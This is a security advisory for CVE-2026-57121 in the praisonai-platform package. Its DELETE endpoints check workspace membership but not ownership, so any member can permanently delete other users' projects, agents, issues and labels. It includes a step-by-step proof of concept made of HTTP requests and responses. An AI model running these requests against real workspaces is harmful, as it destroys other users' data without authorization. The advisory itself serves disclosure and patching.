CVE-2026-57121: PraisonAI: Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API
Summary A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Published Jun 18, 2026 · Updated Jul 20, 2026
Affected packages
praisonai-platform
- Ecosystem
- PyPI
- Affected
- = 0.1.4
- Fixed in
- 0.1.6
- Check
pip show praisonai-platform
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
A workspace member can permanently delete any resource — projects, agents, issues, labels, issue dependencies, and issue-label attachments — created by the workspace owner or other members. All six content DELETE endpoints enforce workspace membership but perform no ownership or role check. A single malicious or compromised member account can wipe an entire workspace's content irreversibly.
Details
The published role capability matrix explicitly restricts members from modifying others' content:
| Capability | Owner | Admin | Member | | Create issues/tasks | ✅ | ✅ | ✅ | | Edit own content | ✅ | ✅ | ✅ | | Edit others' content | ✅ | ✅ | ❌ |
The DELETE handlers for all content resources check that the requesting user is a workspace member, but do not verify that the user either created the resource or holds an owner/admin role. The result is that the member role has unrestricted DELETE access over all workspace content regardless of who created it.
Confirmed vulnerable endpoints:
| Endpoint | Expected | Actual |
| `DELETE /api/v1/workspaces/{workspace_id}/projects/{project_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/agents/{agent_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/labels/{label_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/dependencies/{dep_id}` | 403 | 204 |
| `DELETE /api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}` | 403 | 204 |The missing check is isolated to content resource DELETEs.
PoC
Requirements: Two accounts — owner (resource creator) and member (attacker).
1. Register both accounts
POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "owner"}POST /api/v1/auth/register
Content-Type: application/json
{"email": "[email protected]", "password": "Password1!", "name": "member"}2. Owner creates workspace, adds member with `member` role
POST /api/v1/workspaces/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"name": "Test Workspace"}POST /api/v1/workspaces/{workspace_id}/members
Authorization: Bearer <owner_token>
Content-Type: application/json
{"user_id": "<member_user_id>", "role": "member"}3. Owner creates a project
POST /api/v1/workspaces/{workspace_id}/projects/
Authorization: Bearer <owner_token>
Content-Type: application/json
{"title": "Owner's Project"}Response 201 Created:
{"id": "29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6", "title": "Owner's Project", ...}4. Member deletes the owner's project
DELETE /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <member_token>Response: `204 No Content`
5. Owner confirms the project is permanently gone
GET /api/v1/workspaces/{workspace_id}/projects/29ce3e29-a6f0-4063-b0a2-d565b4f1c1a6
Authorization: Bearer <owner_token>Response: `404 Not Found`
{"detail": "Project not found"}The same steps reproduce on all six affected resource types (agents, issues, labels, issue dependencies, issue-label attachments).
---
Impact
This is an improper authorization vulnerability. A workspace member can delete resources (projects, agents, issues, labels) created by other workspace members or the owner. The documented permission model restricts members to managing only their own content — the DELETE endpoints do not enforce this.
Who is impacted: Workspace owners and members who share a workspace with untrusted or compromised member accounts.
Credited to adamyordan.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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